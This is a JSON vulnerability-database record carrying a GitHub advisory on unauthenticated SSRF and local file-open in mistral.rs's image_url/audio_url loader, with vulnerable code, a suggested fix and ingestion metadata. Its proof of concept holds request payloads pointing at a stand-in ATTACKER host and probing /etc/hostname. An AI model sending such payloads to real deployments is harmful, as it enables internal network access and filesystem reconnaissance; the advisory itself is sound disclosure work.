{"id":"GHSA-wfgq-w7cq-qj7j","revision":null,"records":[{"revision":"e0a3880bcaee4138994affb5c4ae84f4","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-wfgq-w7cq-qj7j","aliases":[],"title":"mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url","description":"### Summary\nmistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a `file://` URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI `image_url` / `audio_url` message content. The server is unauthenticated by default.\n\n### Details\n`parse_image_url` in `mistralrs-server-core/src/util.rs` (lines 45-88) resolves the request string and fetches/opens it:\n\n```rust\nlet url = if let Ok(url) = url::Url::parse(url_unparsed) {\n    url\n} else if File::open(url_unparsed).await.is_ok() {            // a bare existing path (relative or absolute)\n    url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...\n} else { bail!(...) };\n\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n    reqwest::get(url.clone()).await ...                       // SSRF: no host/IP/allowlist check\n} else if url.scheme() == \"file\" {\n    File::open(path).await ... read                           // arbitrary local file read\n} else if url.scheme() == \"data\" { ... base64 ... };\n```\n\n`reqwest::get` has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The `file` scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. `parse_audio_url` (line 91) is identical for `audio_url`.\n\nThe value reaches this unvalidated: `mistralrs-server-core/src/chat_completion.rs` calls `parse_image_url(&url_unparsed)` / `parse_audio_url(&url_unparsed)` on the chat message content, at request time.\n\nFor reference, vLLM gates outbound media domains (`allowed_media_domains`) and local paths (`allowed_local_media_path`); mistral.rs has neither.\n\n### Suggested fix\nRestrict request-supplied media to `http(s)` and `data:`; do not resolve bare strings to local files and do not honor the `file` scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching `http(s)`, resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.\n\n### Proof of concept\nOn a default vision deployment, unauthenticated:\n\nSSRF - the server fetches the attacker URL during request processing:\n\n```\nPOST /v1/chat/completions\n{\"model\":\"<vlm>\",\"messages\":[{\"role\":\"user\",\"content\":[\n  {\"type\":\"image_url\",\"image_url\":{\"url\":\"http://ATTACKER/probe\"}},\n  {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n```\n\nAn out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.\n\nArbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):\n\nexisting file (opened and read, then fails to decode):\n\n```\nPOST /v1/chat/completions\n{\"model\":\"<vlm>\",\"messages\":[{\"role\":\"user\",\"content\":[\n  {\"type\":\"image_url\",\"image_url\":{\"url\":\"/etc/hostname\"}},\n  {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n\n-> 500, response body message: \"The image format could not be determined\"\n```\n\nnonexistent path:\n\n```\nPOST /v1/chat/completions\n{\"model\":\"<vlm>\",\"messages\":[{\"role\":\"user\",\"content\":[\n  {\"type\":\"image_url\",\"image_url\":{\"url\":\"/nonexistent\"}},\n  {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n\n-> 500, response body message: \"Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ...\"\n```\n\nThe difference is structural: `parse_image_url` (util.rs:48) takes the file branch only when `File::open(url_unparsed)` succeeds, otherwise it bails with \"file not found on server\" (util.rs:52); an existing-but-non-image file is read and then fails in `image::load_from_memory` (util.rs:87). The error response carries `sanitize_error_message` (util.rs:210), which returns the root-cause message, so both reach the client verbatim.\n\n### Impact\nAn attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied `file://` URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.\n\nAvailability (CVSS A:L): `reqwest::get` (util.rs:61) uses the default client, which has no timeout, and `http_resp.bytes()` (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The `file` branch allocates `vec![0; metadata.len()]` (util.rs:73) before reading, so pointing at a large local file does the same.","state":0,"publishedAt":"2026-09-10T21:54:14+00:00","modifiedAt":"2026-09-10T22:00:05.1971634+00:00","affected":[{"ecosystem":"crates.io","name":"mistralrs-server-core","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.8.18"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/EricLBuehler/mistral.rs/security/advisories/GHSA-wfgq-w7cq-qj7j","https://github.com/EricLBuehler/mistral.rs/commit/74793379649febc758b6a0d4b71aa6aeabc80f9c","https://github.com/EricLBuehler/mistral.rs"],"sourceUrl":"https://github.com/advisories/GHSA-wfgq-w7cq-qj7j","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wfgq-w7cq-qj7j","identifiers":["GHSA-wfgq-w7cq-qj7j"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T01:46:55.4086044+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T01:46:55.4086044+00:00","lastSuccessAt":"2026-11-15T01:46:55.6001265+00:00","error":null,"lastVerifiedAt":"2026-11-15T01:46:55.6001272+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-6d7324039073d7c231ba830a084e1f9dd49e3546760dbb1c1c5420bea3fe5eb4","complete":true,"records":425760,"lastAttemptAt":"2026-11-15T01:44:29.7063286+00:00","lastSuccessAt":"2026-11-15T01:44:29.696786+00:00","error":null,"lastVerifiedAt":"2026-11-15T01:44:29.7063286+00:00","snapshotPublishedAt":"2026-11-15T01:24:40+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7d2e436ba5044010b7284865b03901df","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T01:56:11.6575512+00:00","lastSuccessAt":"2026-11-15T01:56:10.64+00:00","error":"20 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T01:56:10.64+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13854,"expectedIdentifiers":13874,"failedIdentifiers":20},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T01:46:55.4086044+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T01:46:55.4086044+00:00","lastSuccessAt":"2026-11-15T01:46:55.6012797+00:00","error":null,"lastVerifiedAt":"2026-11-15T01:46:55.6012836+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a2d6726fa6984ccea1afed1a3e59d87e","complete":false,"records":13833,"lastAttemptAt":"2026-11-15T01:47:00.8199552+00:00","lastSuccessAt":"2026-11-15T00:31:15.078+00:00","error":"13 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T00:31:15.078+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13861,"expectedIdentifiers":13874,"failedIdentifiers":13},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T01:46:55.2267037+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T01:46:55.2267037+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T01:44:50.4630562+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T01:44:50.4630562+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-012aff9b2fb349d53e2c4bace6ca57956b6f5f9d82c1dc9fdc1c9b3c738f8977","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T01:46:55.3300683+00:00","lastSuccessAt":"2026-11-14T04:57:03.8279646+00:00","error":null,"lastVerifiedAt":"2026-11-15T01:46:55.3300683+00:00","snapshotPublishedAt":"2026-11-14T03:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-deb41cb32d3b3d67de7960b1647d789a5218551d33a54a4b027ba315bcba590f","complete":true,"records":232473,"lastAttemptAt":"2026-11-15T01:46:55.093583+00:00","lastSuccessAt":"2026-11-15T01:46:53.6377511+00:00","error":null,"lastVerifiedAt":"2026-11-15T01:46:55.093583+00:00","snapshotPublishedAt":"2026-11-15T00:48:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}